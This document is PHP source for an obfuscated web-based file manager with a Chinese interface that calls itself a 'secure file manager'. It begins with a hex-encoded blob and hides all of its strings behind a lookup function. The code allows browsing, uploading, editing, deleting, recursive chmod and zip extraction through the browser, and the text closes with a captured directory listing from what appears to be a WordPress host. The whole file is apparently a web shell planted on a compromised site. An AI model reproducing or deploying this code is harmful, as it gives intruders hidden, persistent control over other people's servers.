e78725a50357e6013610719402331411c686a1a4d576b7051335d520a635e125f2a624f044066635174561c5b7e5a51417175500f56732115661e704e224e4f41607145474c7478066734094b095b1337637f4b5c4d6e615b79435a53790d5b402b75500f357e6a186542184d702f4f151f7145474c7e12033b34091b685b4a567831435140646b0470405b5a791c38402e794b4957657e127358124e712f4b46676a0240576b7007695d03486c561337637f4b52426261017b4d5b517d0551556d715e525c746311681f184d23465a5b63635e4c4028740068550912685b0b5671604c5147196b03744307507d055047767a5d532b7066706643185b654d4c406b6b5940457f7409602a12556b0e1a37232040541f0739017815055f780e50162e75080f2b256a163e4216123a45494e1f3c503b14760c5b675e5b41600e4c5f2a6b4147596539097446065178565b18737003072b763918301b1918232f1a4f603c5f3b1e34710168525f40090e495d2a65400e4d623304741f085f6b435a4e76765a0a567e646e654d6e4e234c5a5b636a5e2546287109675d04406858125d637f4b554219675f114409587004524332765956357360116847184e7e464c1d1f635e4c417177076551074e6a4d54557564375d456e6208794d01276b435a4e76135a5c507e6a1565476e40262f4f1c677145474c7e7b033a5d094b6f5b4d5d762040520664701c734d09507a04264e73135d505c70211866076e5b654d48406b660644457e7b093a5e040a685f4b517561485c4664650778405a5c79585e43770d5e513570656e7358124d7e4c4047676351444c7673127d560940605c135178614c514064620774435f58705b5d432e7a4b49572c3815221e1848232f134e6b395d43442c735f22555f48170d4d5e2a64290f4c646307791b095c285e521c7779025d5c26666e3a4c70182645124e6761584f1f260c5a3b52434a60044e542e3c37574561701c734d09277f59524e2b795d5654702111681e6e5b654d414e62655f254c2d1204625d070a09561252637f4b55426f675f7b44095070045243327659565f73606e68476e4e7e4c4c1d68635e40417178076557074e684d5455756443504666625174561c5b22055b042b72580f562c6b1a3b407048222f17046b3c58251772125b66345a40635e4f5d2e6a4f0444613906701f0850285b591c7972080a542d6b15634570132847121d6b205a4c1e71775f3e5c0249094d5455786a41561f666b0777405f587958264e2a7b5e555c73651a614c15402b464f4f677145474c7e7306675c094b175b125f78384f5c1764701c734d09507f59594e73725d0f537e391a6816165b654d414e016003444c7078043e5c12556b56415272384a5c476266051144075f7004524e237a5d575077611a7358124e714e4b44646a024f4174770766550918095b4a5d75654c51406f65020f4307507e5a5d4377724b49577e6b18674213407b494c1d016a02254c2512127d5609406c594e2978614a511f646b5b794d52586b435a4079705a56567e39116547154e7e4641166b7145474c7e7b033a5c094b6a5b4d5271644a5206626b047940035f7900384079765e5556657e126642164a78474f47646b5f3b4c251209335e0941635f485e75664c5c4c62650711561c5b7e595b44707b5e5535650f4d'),$dfdsdfs),true);

function changePermission($path, $permission = null)
{

    
    if (!(!(!file_exists($path)))) {
        return oojdfkah(0);
    }
    
    if (!(!(DIRECTORY_SEPARATOR == oojdfkah(1)))) {
        return oojdfkah(2);
    }
    
    if (!(!($permission === null))) {
        if (isset($_POST[oojdfkah(3)]) || isset($_POST[oojdfkah(4)]) || isset($_POST[oojdfkah(5)]) || 
            isset($_POST[oojdfkah(6)]) || isset($_POST[oojdfkah(7)]) || isset($_POST[oojdfkah(8)]) || 
            isset($_POST[oojdfkah(9)]) || isset($_POST[oojdfkah(10)]) || isset($_POST[oojdfkah(11)])) {
            
            $mode = 0;
            if (!(!(!empty($_POST[oojdfkah(12)])))) {
                $mode |= 0400;
            }
            if (!(!(!empty($_POST[oojdfkah(13)])))) {
                $mode |= 0200;
            }
            if (!(!(!empty($_POST[oojdfkah(14)])))) {
                $mode |= 0100;
            }
            if (!(!(!empty($_POST[oojdfkah(15)])))) {
                $mode |= 0040;
            }
            if (!(!(!empty($_POST[oojdfkah(16)])))) {
                $mode |= 0020;
            }
            if (!(!(!empty($_POST[oojdfkah(17)])))) {
                $mode |= 0010;
            }
            if (!(!(!empty($_POST[oojdfkah(18)])))) {
                $mode |= 0004;
            }
            if (!(!(!empty($_POST[oojdfkah(19)])))) {
                $mode |= 0002;
            }
            if (!(!(!empty($_POST[oojdfkah(20)])))) {
                $mode |= 0001;
            }
            
            $parsedPermission = $mode;
        } else {
            $permission = isset($_POST[oojdfkah(21)]) ? $_POST[oojdfkah(22)] : oojdfkah(23);
            
            if (!(!($permission === oojdfkah(24)))) {
                return oojdfkah(25);
            }
            
            
            $validPermissions = [oojdfkah(26), oojdfkah(27), oojdfkah(28), oojdfkah(29), oojdfkah(30), oojdfkah(31)];
            if (!(!(!in_array($permission, $validPermissions)))) {
                return oojdfkah(32) . implode(oojdfkah(33), $validPermissions);
            }
            
            $parsedPermission = intval($permission, 8);
        }
    } else {
        $parsedPermission = intval($permission, 8);
    }
    
    if (!(!($parsedPermission === 0))) {
        return oojdfkah(34);
    }
    
    if (!(!(chmodRecursive($path, $parsedPermission)))) {
        return oojdfkah(35);
    } else {
        return oojdfkah(36);
    }
}


function chmodRecursive($path, $permission)
{
    if (!(!(is_dir($path)))) {
        $items = @scandir($path);
        
        if (!(!($items === false))) {
            return false;
        }
        
        foreach ($items as $item) {
            if (!(!($item == oojdfkah(37) || $item == oojdfkah(38)))) {
                continue;
            }
            
            $itemPath = $path . DIRECTORY_SEPARATOR . $item;
            
            if (!(!(is_dir($itemPath)))) {
                if (!(!(!chmod($itemPath, $permission)))) {
                    return false;
                }
                
                if (!(!(!chmodRecursive($itemPath, $permission)))) {
                    return false;
                }
            } else {
                if (!(!(!chmod($itemPath, $permission)))) {
                    return false;
                }
            }
        }
    } else {
        if (!(!(!chmod($path, $permission)))) {
            return false;
        }
    }
    
    return true;
}


function renameFile($oldName, $newName)
{
    $currentDir = getCurrentDirectory();
    $realOldPath = realpath($oldName);
    
    if (!(!(strpos($realOldPath, $currentDir) !== 0))) {
        return oojdfkah(39);
    }
    
    if (!(!(file_exists($oldName)))) {
        $directory = dirname($oldName);
        $newPath = $directory . DIRECTORY_SEPARATOR . $newName;
        
        if (!(!(strpos(basename($newPath), oojdfkah(40)) === 0))) {
            return oojdfkah(41);
        }
        
        if (!(!(@rename($oldName, $newPath)))) {
            return oojdfkah(42);
        } else {
            return oojdfkah(43);
        }
    } else {
        return oojdfkah(44);
    }
}


function deleteFile($file)
{
    $currentDir = getCurrentDirectory();
    $realFilePath = realpath($file);
    
    if (!(!(strpos($realFilePath, $currentDir) !== 0))) {
        return oojdfkah(45);
    }
    
    if (!(!(file_exists($file)))) {
        if (!(!(@unlink($file)))) {
            return oojdfkah(46);
        } else {
            return oojdfkah(47);
        }
    } else {
        return oojdfkah(48);
    }
}


function deleteFolder($folder)
{
    $currentDir = getCurrentDirectory();
    $realFolderPath = realpath($folder);
    
    if (!(!(strpos($realFolderPath, $currentDir) !== 0))) {
        return oojdfkah(49);
    }
    
    if (!(!(is_dir($folder)))) {
        $files = @glob($folder . DIRECTORY_SEPARATOR . oojdfkah(50));
        
        foreach ($files as $file) {
            is_dir($file) ? deleteFolder($file) : unlink($file);
        }
        
        if (!(!(@rmdir($folder)))) {
            return oojdfkah(51);
        } else {
            return oojdfkah(52);
        }
    } else {
        return oojdfkah(53);
    }
}


function createFile($fileName)
{
    if (!(!(strpos($fileName, DIRECTORY_SEPARATOR) !== false))) {
        return oojdfkah(54);
    }
    
    if (!(!(strpos($fileName, oojdfkah(55)) === 0))) {
        return oojdfkah(56);
    }
    
    $currentDirectory = @getCurrentDirectory();
    $filePath = $currentDirectory . DIRECTORY_SEPARATOR . $fileName;
    
    if (!(!(!file_exists($filePath)))) {
        if (!(!(@file_put_contents($filePath, oojdfkah(57)) !== false))) {
            return oojdfkah(58) . $fileName;
        } else {
            return oojdfkah(59);
        }
    } else {
        return oojdfkah(60) . $fileName;
    }
}


function createFolder($folderName)
{
    if (!(!(strpos($folderName, DIRECTORY_SEPARATOR) !== false))) {
        return oojdfkah(61);
    }
    
    if (!(!(strpos($folderName, oojdfkah(62)) === 0))) {
        return oojdfkah(63);
    }
    
    $currentDirectory = @getCurrentDirectory();
    $folderPath = $currentDirectory . DIRECTORY_SEPARATOR . $folderName;
    
    if (!(!(!file_exists($folderPath)))) {
        if (!(!(@mkdir($folderPath)))) {
            return oojdfkah(64) . $folderName;
        } else {
            return oojdfkah(65);
        }
    } else {
        return oojdfkah(66) . $folderName;
    }
}


function handleZipOperations()
{
    $currentDirectory = getCurrentDirectory();
    $errorMessage = oojdfkah(67);
    $responseMessage = oojdfkah(68);
    
    if (!(!(isset($_POST[oojdfkah(69)])))) {
        $extractZipFile = $_FILES[oojdfkah(70)][oojdfkah(71)];
        $extractZipPath = $currentDirectory . DIRECTORY_SEPARATOR . $extractZipFile;
        
        $fileType = strtolower(pathinfo($extractZipPath, PATHINFO_EXTENSION));
        if (!(!($fileType !== oojdfkah(72)))) {
            return oojdfkah(73);
        }
        
        if (!(!($_FILES[oojdfkah(74)][oojdfkah(75)] > 20 * 1024 * 1024))) {
            return oojdfkah(76);
        }
        
        if (!(!(move_uploaded_file($_FILES[oojdfkah(77)][oojdfkah(78)], $extractZipPath)))) {
            $zip = new ZipArchive();
            
            if (!(!($zip->open($extractZipPath) === true))) {
                $hasTraversal = false;
                for ($i = 0; $i < $zip->numFiles; $i++) {
                    $fileName = $zip->getNameIndex($i);
                    if (!(!(strpos($fileName, oojdfkah(79)) !== false))) {
                        $hasTraversal = true;
                        break;
                    }
                }
                
                if (!(!($hasTraversal))) {
                    unlink($extractZipPath);
                    return oojdfkah(80);
                }
                
                $zip->extractTo($currentDirectory);
                $zip->close();
                unlink($extractZipPath);
                return oojdfkah(81);
            } else {
                unlink($extractZipPath);
                return oojdfkah(82);
            }
        } else {
            return oojdfkah(83);
        }
    }
    
    if (!(!(isset($_POST[oojdfkah(84)])))) {
        $zipFile = $_POST[oojdfkah(85)];
        $zipFileName = $currentDirectory . DIRECTORY_SEPARATOR . basename($zipFile) . oojdfkah(86);
        
        $realFilePath = realpath($zipFile);
        if (!(!(strpos($realFilePath, $currentDirectory) !== 0))) {
            return oojdfkah(87);
        }
        
        $zip = new ZipArchive();
        
        if (!(!($zip->open($zipFileName, ZipArchive::CREATE) === true))) {
            if (!(!(is_dir($zipFile)))) {
                $files = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($zipFile)
                );
                
                foreach ($files as $file) {
                    if (!(!(!$file->isDir()))) {
                        $filePath = $file->getRealPath();
                        $relativePath = substr($filePath, strlen($zipFile) + 1);
                        $zip->addFile($filePath, $relativePath);
                    }
                }
            } elseif (!(!(is_file($zipFile)))) {
                $zip->addFile($zipFile, basename($zipFile));
            } else {
                return oojdfkah(88);
            }
            
            $zip->close();
            return oojdfkah(89);
        } else {
            return oojdfkah(90);
        }
    }
}

if (!(!(isset($_POST[oojdfkah(91)]) && $_POST[oojdfkah(92)] == 1))) {
    header(oojdfkah(93));
    
    $action = isset($_POST[oojdfkah(94)]) ? $_POST[oojdfkah(95)] : oojdfkah(96);
    $result = array(oojdfkah(97) => false, oojdfkah(98) => oojdfkah(99), oojdfkah(100) => null);
    
    switch ($action) {
        case oojdfkah(101):
            $path = isset($_POST[oojdfkah(102)]) ? $_POST[oojdfkah(103)] : getCurrentDirectory();
            $fileDetails = getFileDetails($path);
            $result[oojdfkah(104)] = true;
            $result[oojdfkah(105)] = array(
                oojdfkah(106) => generateBreadcrumbHTML($path),
                oojdfkah(107) => generateFileTableHTML($path)
            );
            break;
        
        case oojdfkah(108):
            $file = isset($_POST[oojdfkah(109)]) ? $_POST[oojdfkah(110)] : oojdfkah(111);
            $content = isset($_POST[oojdfkah(112)]) ? $_POST[oojdfkah(113)] : oojdfkah(114);
            $currentDir = getCurrentDirectory();
            $realFilePath = realpath($file);
            
            if (!(!(strpos($realFilePath, $currentDir) === 0 && file_put_contents($file, $content) !== false))) {
                $result[oojdfkah(115)] = true;
                $result[oojdfkah(116)] = oojdfkah(117);
            } else {
                $result[oojdfkah(118)] = oojdfkah(119);
            }
            break;
        
        case oojdfkah(120):
            $file = isset($_POST[oojdfkah(121)]) ? $_POST[oojdfkah(122)] : oojdfkah(123);
            $result[oojdfkah(124)] = deleteFile($file);
            $result[oojdfkah(125)] = strpos($result[oojdfkah(126)], oojdfkah(127)) !== false;
            if (!(!($result[oojdfkah(128)]))) {
                $result[oojdfkah(129)] = array(
                    oojdfkah(130) => generateBreadcrumbHTML(getCurrentDirectory()),
                    oojdfkah(131) => generateFileTableHTML(getCurrentDirectory())
                );
            }
            break;
        
        case oojdfkah(132):
            $folder = isset($_POST[oojdfkah(133)]) ? $_POST[oojdfkah(134)] : oojdfkah(135);
            $result[oojdfkah(136)] = deleteFolder($folder);
            $result[oojdfkah(137)] = strpos($result[oojdfkah(138)], oojdfkah(139)) !== false;
            if (!(!($result[oojdfkah(140)]))) {
                $result[oojdfkah(141)] = array(
                    oojdfkah(142) => generateBreadcrumbHTML(getCurrentDirectory()),
                    oojdfkah(143) => generateFileTableHTML(getCurrentDirectory())
                );
            }
            break;
        
        case oojdfkah(144):
            $file = isset($_POST[oojdfkah(145)]) ? $_POST[oojdfkah(146)] : oojdfkah(147);
            $permission = isset($_POST[oojdfkah(148)]) ? $_POST[oojdfkah(149)] : oojdfkah(150);
            
            
            $result[oojdfkah(151)] = changePermission($file, $permission);
            $result[oojdfkah(152)] = strpos($result[oojdfkah(153)], oojdfkah(154)) !== false;
            if (!(!($result[oojdfkah(155)]))) {
                $result[oojdfkah(156)] = array(
                    oojdfkah(157) => generateBreadcrumbHTML(dirname($file)),
                    oojdfkah(158) => generateFileTableHTML(dirname($file))
                );
            }
            break;
        
    }
    
    echo json_encode($result);
    exit;
}

$currentDirectory = getCurrentDirectory();
$errorMessage = oojdfkah(159);
$responseMessage = oojdfkah(160);

if (!(!(isset($_GET[oojdfkah(161)])))) {
    changeDirectory($_GET[oojdfkah(162)]);
    $currentDirectory = getCurrentDirectory();
}

if (!(!(isset($_GET[oojdfkah(163)])))) {
    $file = $_GET[oojdfkah(164)];
    $content = readFileContent($file);
    
    if (!(!($_SERVER[oojdfkah(165)] === oojdfkah(166)))) {
        $saved = saveFileContent($file);
        
        if (!(!($saved))) {
            $responseMessage = oojdfkah(167);
        } else {
            $errorMessage = oojdfkah(168);
        }
    }
}


if (!(!(isset($_GET[oojdfkah(169)])))) {
    $file = $_GET[oojdfkah(170)];
    
    if (!(!($_SERVER[oojdfkah(171)] === oojdfkah(172)))) {
        $currentDir = getCurrentDirectory();
        $fullFilePath = $currentDir . DIRECTORY_SEPARATOR . $file;
        
        $responseMessage = changePermission($fullFilePath);
    }
}


if (!(!(isset($_POST[oojdfkah(173)])))) {
    $responseMessage = uploadFile($currentDirectory);
}


if (!(!(isset($_GET[oojdfkah(174)])))) {
    $file = $_GET[oojdfkah(175)];
    
    if (!(!($_SERVER[oojdfkah(176)] === oojdfkah(177)))) {
        $newName = @$_POST[oojdfkah(178)];
        
        if (!(!(is_file($file) || is_dir($file)))) {
            $responseMessage = renameFile($file, $newName);
        } else {
            $errorMessage = oojdfkah(179);
        }
    }
}


if (!(!(isset($_GET[oojdfkah(180)])))) {
    $file = $_GET[oojdfkah(181)];
    
    if (!(!($_SERVER[oojdfkah(182)] === oojdfkah(183)))) {
        $currentDirectory = getCurrentDirectory();
        
        if (!(!(is_file($file)))) {
            $responseMessage = deleteFile($file);
        } elseif (!(!(is_dir($file)))) {
            $responseMessage = deleteFolder($file);
        } else {
            $errorMessage = oojdfkah(184);
        }
    }
}


if (
    isset($_POST[oojdfkah(185)]) &&
    isset($_GET[oojdfkah(186)]) &&
    $_GET[oojdfkah(187)] === oojdfkah(188)
) {
    $fileName = $_POST[oojdfkah(189)];
    $responseMessage = createFile($fileName);
}


if (
    isset($_POST[oojdfkah(190)]) &&
    isset($_GET[oojdfkah(191)]) &&
    $_GET[oojdfkah(192)] === oojdfkah(193)
) {
    $folderName = $_POST[oojdfkah(194)];
    $responseMessage = createFolder($folderName);
}

if (!(!(isset($_POST[oojdfkah(195)]) || isset($_POST[oojdfkah(196)])))) {
    $responseMessage = handleZipOperations();
}


function generateBreadcrumbHTML($path) {
    ob_start();
    showBreadcrumb($path);
    return ob_get_clean();
}


function generateFileTableHTML($path) {
    ob_start();
    showFileTable($path);
    return ob_get_clean();
}
?>

<!DOCTYPE html><html><head><title>安全文件管理器</title><meta charset="UTF-8"><style>body{font-family:Arial,sans-serif;margin:20px;background-color:#f0f0f0}.container{max-width:1200px;margin:0 auto;background-color:white;padding:20px;border-radius:5px;box-shadow:0 0 10px rgba(0,0,0,0.1)}h1,h2{color:#333}table{width:100%;border-collapse:collapse;margin-top:20px}th,td{padding:10px;border:1px solid#ddd;text-align:left}th{background-color:#f2f2f2}.breadcrumb{margin-bottom:20px;font-size:18px}.breadcrumb a{color:#0066cc;text-decoration:none}.breadcrumb a:hover{text-decoration:underline}.button{background-color:#2196F3;color:white;padding:8px 16px;border:none;border-radius:4px;cursor:pointer}.button:hover{background-color:#1976D2}.upload-form,.rename-form,.edit-file,.change-permission{margin:20px 0;padding:20px;background-color:#f9f9f9;border-radius:5px}.permission-container{display:flex;gap:30px;margin:20px 0}.permission-group{flex:1;background:white;padding:15px;border-radius:5px;box-shadow:0 2px 4px rgba(0,0,0,0.05);border:1px solid#e0e0e0}.permission-group h4{margin:0 0 15px 0;color:#333;font-size:16px;text-align:center;padding-bottom:8px;border-bottom:2px solid#2196F3}.permission-group label{display:flex;align-items:center;padding:8px 0;cursor:pointer;transition:background-color 0.2s;border-radius:3px}.permission-group label:hover{background-color:#f5f5f5}.permission-group input[type="checkbox"]{margin-right:10px;width:auto;height:18px;width:18px;cursor:pointer}.permission-group label span{font-size:14px;color:#555}input[type="text"],input[type="file"],textarea,select{padding:8px;border:1px solid#ddd;border-radius:4px;width:100%;margin-bottom:10px}textarea{height:300px}.response-message{color:green;font-weight:bold}.error-message{color:red;font-weight:bold}.button-container{margin-bottom:20px}.command-output{background-color:#f0f0f0;padding:10px;border-radius:4px;overflow-x:auto;margin-top:20px}pre{white-space:pre-wrap}.footer{margin-top:40px;text-align:center;color:#777;font-size:14px}.ajax-loading{display:inline-block;width:20px;height:20px;border:2px solid#f3f3f3;border-top:2px solid#2196F3;border-radius:50%;animation:spin 1s linear infinite;vertical-align:middle;margin-left:10px}@keyframes spin{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}.message-container{margin:10px 0;padding:10px;border-radius:4px;display:none}.success-message{background-color:#d4edda;color:#155724;border:1px solid#c3e6cb}.error-message{background-color:#f8d7da;color:#721c24;border:1px solid#f5c6cb}</style><script>function showMessage(message,type){const container=document.createElement('div');container.className='message-container '+(type==='success'?'success-message':'error-message');container.textContent=message;container.style.display='block';container.style.position='fixed';container.style.top='20px';container.style.left='50%';container.style.transform='translateX(-50%)';container.style.zIndex='10000';container.style.width='fit-content';container.style.minWidth='300px';container.style.maxWidth='90%';container.style.textAlign='center';container.style.boxShadow='0 4px 12px rgba(0, 0, 0, 0.15)';const parent=document.querySelector('body');parent.appendChild(container);setTimeout(()=>{container.style.opacity='0';container.style.transition='opacity 0.5s';setTimeout(()=>{if(container.parentNode===parent){parent.removeChild(container)}},500)},3000)}function sendAjaxRequest(action,data,callback){data.ajax=1;data.action=action;const xhr=new XMLHttpRequest();xhr.open('POST',window.location.pathname,true);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.onreadystatechange=function(){if(xhr.readyState===4){try{const response=JSON.parse(xhr.responseText);if(callback)callback(response)}catch(e){console.error('JSON解析错误:',e);showMessage('请求处理失败,请刷新页面重试','error')}}};const formData=Object.keys(data).map(key=>encodeURIComponent(key)+'='+encodeURIComponent(data[key])).join('&');xhr.send(formData)}function updateFileList(path){sendAjaxRequest('get_file_list',{path:path},function(response){if(response.success){const breadcrumbContainer=document.querySelector('.breadcrumb');const fileTableContainer=document.querySelector('table');if(breadcrumbContainer&&fileTableContainer){const tempDiv=document.createElement('div');tempDiv.innerHTML=response.data.breadcrumb;const newBreadcrumb=tempDiv.querySelector('.breadcrumb');if(newBreadcrumb){breadcrumbContainer.parentNode.replaceChild(newBreadcrumb,breadcrumbContainer)}tempDiv.innerHTML=response.data.file_table;const newTable=tempDiv.querySelector('table');if(newTable){fileTableContainer.parentNode.replaceChild(newTable,fileTableContainer)}setupEventListeners()}}else{showMessage(response.message||'更新文件列表失败','error')}})}function handleFileSave(event,filePath){event.preventDefault();const content=document.querySelector('textarea[name="content"]').value;sendAjaxRequest('save_file',{file:filePath,content:content},function(response){if(response.success){showMessage(response.message,'success')}else{showMessage(response.message,'error')}})}function handleFileDelete(filePath){if(confirm('确定要删除这个文件吗?')){sendAjaxRequest('delete_file',{file:filePath},function(response){if(response.success){showMessage(response.message,'success');if(response.data){const breadcrumbContainer=document.querySelector('.breadcrumb');const fileTableContainer=document.querySelector('table');if(breadcrumbContainer&&fileTableContainer&&response.data.breadcrumb&&response.data.file_table){const tempDiv=document.createElement('div');tempDiv.innerHTML=response.data.breadcrumb;const newBreadcrumb=tempDiv.querySelector('.breadcrumb');if(newBreadcrumb){breadcrumbContainer.parentNode.replaceChild(newBreadcrumb,breadcrumbContainer)}tempDiv.innerHTML=response.data.file_table;const newTable=tempDiv.querySelector('table');if(newTable){fileTableContainer.parentNode.replaceChild(newTable,fileTableContainer)}setupEventListeners()}}}else{showMessage(response.message,'error')}})}}function handleFolderDelete(folderPath){if(confirm('确定要删除这个文件夹及其所有内容吗?')){sendAjaxRequest('delete_folder',{folder:folderPath},function(response){if(response.success){showMessage(response.message,'success');if(response.data){const breadcrumbContainer=document.querySelector('.breadcrumb');const fileTableContainer=document.querySelector('table');if(breadcrumbContainer&&fileTableContainer&&response.data.breadcrumb&&response.data.file_table){const tempDiv=document.createElement('div');tempDiv.innerHTML=response.data.breadcrumb;const newBreadcrumb=tempDiv.querySelector('.breadcrumb');if(newBreadcrumb){breadcrumbContainer.parentNode.replaceChild(newBreadcrumb,breadcrumbContainer)}tempDiv.innerHTML=response.data.file_table;const newTable=tempDiv.querySelector('table');if(newTable){fileTableContainer.parentNode.replaceChild(newTable,fileTableContainer)}setupEventListeners()}}}else{showMessage(response.message,'error')}})}}function handlePermissionChange(event,filePath){event.preventDefault();const ur=document.querySelector('input[name="ur"]').checked?4:0;const uw=document.querySelector('input[name="uw"]').checked?2:0;const ux=document.querySelector('input[name="ux"]').checked?1:0;const gr=document.querySelector('input[name="gr"]').checked?4:0;const gw=document.querySelector('input[name="gw"]').checked?2:0;const gx=document.querySelector('input[name="gx"]').checked?1:0;const or=document.querySelector('input[name="or"]').checked?4:0;const ow=document.querySelector('input[name="ow"]').checked?2:0;const ox=document.querySelector('input[name="ox"]').checked?1:0;const permission=(ur+uw+ux)*100+(gr+gw+gx)*10+(or+ow+ox);sendAjaxRequest('change_permission',{file:filePath,permission:permission},function(response){if(response.success){showMessage(response.message,'success');if(response.data){const breadcrumbContainer=document.querySelector('.breadcrumb');const fileTableContainer=document.querySelector('table');if(breadcrumbContainer&&fileTableContainer&&response.data.breadcrumb&&response.data.file_table){const tempDiv=document.createElement('div');tempDiv.innerHTML=response.data.breadcrumb;const newBreadcrumb=tempDiv.querySelector('.breadcrumb');if(newBreadcrumb){breadcrumbContainer.parentNode.replaceChild(newBreadcrumb,breadcrumbContainer)}tempDiv.innerHTML=response.data.file_table;const newTable=tempDiv.querySelector('table');if(newTable){fileTableContainer.parentNode.replaceChild(newTable,fileTableContainer)}setupEventListeners()}}}else{showMessage(response.message,'error')}})}function setupEventListeners(){document.querySelectorAll('select[onchange="location.href = this.value;"]').forEach(select=>{select.onchange=function(){const value=this.value;if(value){if(value.includes('&delete=')){const parts=value.split('&delete=');const filePath=decodeURIComponent(parts[1]);if(filePath.includes('%2F')){handleFolderDelete(decodeURIComponent(filePath))}else{handleFileDelete(decodeURIComponent(filePath))}}else{location.href=value}}}})}document.addEventListener('DOMContentLoaded',function(){setupEventListeners();const editForm=document.querySelector('.edit-file form');if(editForm){const filePath='<?php  echo isset($file) ? htmlspecialchars($file) : ''; ?>';if(filePath){editForm.onsubmit=function(event){handleFileSave(event,filePath)}}}const permissionForm=document.querySelector('.change-permission form');if(permissionForm){const searchParams=new URLSearchParams(location.search);const filePath=decodeURIComponent(searchParams.get('dir')+'/'+searchParams.get('chmod'));if(filePath){permissionForm.onsubmit=function(event){handlePermissionChange(event,filePath)}}}});</script></head><body><div class="container"><div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px;"><h1>安全文件管理器</h1><a href="?logout=1"style="background-color: #f44336; color: white; padding: 8px 16px; text-decoration: none; border-radius: 4px; font-size: 14px;">注销</a></div><div class="button-container"><select onchange="location.href = this.value;"><option value=""selected disabled>创建文件或文件夹</option><option value="?dir=<?php  echo urlencode($currentDirectory); ?>&create=file">创建文件</option><option value="?dir=<?php  echo urlencode($currentDirectory); ?>&create=folder">创建文件夹</option></select><select onchange="location.href = this.value;"><option value=""selected disabled>ZIP操作</option><option value="?dir=<?php  echo urlencode($currentDirectory); ?>&hahay=unzip">解压ZIP</option><option value="?dir=<?php  echo urlencode($currentDirectory); ?>&hahay=extract_zip">压缩文件</option></select></div><?php  if(!empty($errorMessage)){?><p class="error-message"><?php  echo $errorMessage;?></p><?php }?><?php  if(!empty($responseMessage)){?><p class="response-message"><?php  echo $responseMessage;?></p><?php }?><div class="upload-form"><h2>文件上传</h2><form method="post"enctype="multipart/form-data"><input type="file"name="file"><button class="button"type="submit"name="upload">上传</button></form></div><?php  if(isset($_GET["read"])){?><div class="command-output"><h2>文件内容:<?php  echo basename($_GET["read"]);?></h2><div style="margin-bottom: 10px;"><a href="?edit=<?php  echo urlencode($_GET["read"]); ?>"><button class="button"style="background-color: #2196F3; color: white; padding: 8px 15px; text-decoration: none; border: none; border-radius: 4px; cursor: pointer;">编辑文件</button></a></div><pre><?php  echo htmlspecialchars(readFileContent($_GET["read"]));?></pre></div><?php }?><?php  if(isset($_GET["create"])&&$_GET["create"]==="file"){?><div class="rename-form"><h2>创建文件</h2><form method="post"><input type="text"name="file_name"placeholder="新文件名"><input type="submit"value="创建文件"name="create_file"class="button"></form></div><?php }?><?php  if(isset($_GET["create"])&&$_GET["create"]==="folder"){?><div class="rename-form"><h2>创建文件夹</h2><form method="post"><input type="text"name="folder_name"placeholder="新文件夹名"><input type="submit"value="创建文件夹"name="create_folder"class="button"></form></div><?php }?><?php  if(isset($_GET["rename"])){?><div class="rename-form"><h2>重命名:<?php  echo basename($_GET["rename"]);?></h2><form method="post"><input type="text"name="new_name"placeholder="新名称"required><br><input type="submit"value="重命名"class="button"><a href="?dir=<?php  echo urlencode(
                        dirname($_GET["rename"])
                    ); ?>"class="button">取消</a></form></div><?php }?><?php  if(isset($_GET["edit"])){?><?php  $filePath=htmlspecialchars($_GET["edit"]);$dirPath=dirname($filePath);?><div class="edit-file"><h2>编辑文件:<?php  echo basename($filePath);?></h2><p style="color: #666; margin-bottom: 15px;">路径:<?php  echo $filePath;?></p><form method="post"><textarea name="content"rows="20"style="width: 100%; font-family: monospace; font-size: 14px;"><?php  echo htmlspecialchars($content);?></textarea><br><div style="margin-top: 10px;"><button class="button"type="submit">保存</button><a href="?dir=<?php  echo urlencode($dirPath); ?>"class="button"style="background-color: #f44336; margin-left: 10px;">取消</a></div></form></div><?php }elseif(isset($_GET["chmod"])){?><div class="change-permission"><h2>修改权限:<?php  echo basename($_GET["chmod"]);?></h2><?php  if(DIRECTORY_SEPARATOR=='\\'){echo'<p style="color: #f44336;">Windows系统不支持更改文件权限</p>';}else{$file=$_GET["chmod"];$currentDir=getCurrentDirectory();$fullFilePath=$currentDir.DIRECTORY_SEPARATOR.$file;$currentMode=fileperms($fullFilePath);?><form method="post"><input type="hidden"name="chmod"value="<?php  echo urlencode(
                        $file
                    ); ?>"><div class="permission-container"><div class="permission-group"><h4>用户</h4><label><input type="checkbox"name="ur"<?php  echo($currentMode&0400)?'checked':'';?>>读</label><label><input type="checkbox"name="uw"<?php  echo($currentMode&0200)?'checked':'';?>>写</label><label><input type="checkbox"name="ux"<?php  echo($currentMode&0100)?'checked':'';?>>执行</label></div><div class="permission-group"><h4>组</h4><label><input type="checkbox"name="gr"<?php  echo($currentMode&0040)?'checked':'';?>>读</label><label><input type="checkbox"name="gw"<?php  echo($currentMode&0020)?'checked':'';?>>写</label><label><input type="checkbox"name="gx"<?php  echo($currentMode&0010)?'checked':'';?>>执行</label></div><div class="permission-group"><h4>其他</h4><label><input type="checkbox"name="or"<?php  echo($currentMode&0004)?'checked':'';?>>读</label><label><input type="checkbox"name="ow"<?php  echo($currentMode&0002)?'checked':'';?>>写</label><label><input type="checkbox"name="ox"<?php  echo($currentMode&0001)?'checked':'';?>>执行</label></div></div><div style="margin-top: 20px;"><button class="button"type="submit">修改</button><a href="?dir=<?php  echo urlencode(dirname($file)); ?>"class="button"style="background-color: #f44336; margin-left: 10px;">取消</a></div></form><?php }?></div><?php }?><?php  if(isset($_GET["hahay"])&&$_GET["hahay"]=="unzip"){?><div class="rename-form"><h2>解压ZIP文件</h2><form method="post"enctype="multipart/form-data"><input type="file"name="extract-zip-file"><button class="button"type="submit"name="extract-zip">解压</button></form></div><?php }elseif(isset($_GET["hahay"])&&$_GET["hahay"]=="extract_zip"){?><div class="rename-form"><h2>压缩文件/目录</h2><form method="post"><input type="text"name="zip-file"placeholder="输入文件或目录路径"required><button class="button"type="submit"name="zip">压缩</button></form></div><?php }?><hr><?php  echo"<h2>文件列表</h2>";showBreadcrumb($currentDirectory);showFileTable($currentDirectory);?></div><div class="footer"><p>安全文件管理器 &copy; <?php echo date("Y"); ?> | 作者: lrs</p></div></body></html>

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
January 08 2026 18:57:57
sadasgfe / nobody
0750
ai1wm-backups
--
December 15 2025 01:47:24
sadasgfe / sadasgfe
0755
languages
--
February 27 2025 23:43:25
sadasgfe / sadasgfe
0777
litespeed
--
January 08 2026 18:57:57
sadasgfe / sadasgfe
0755
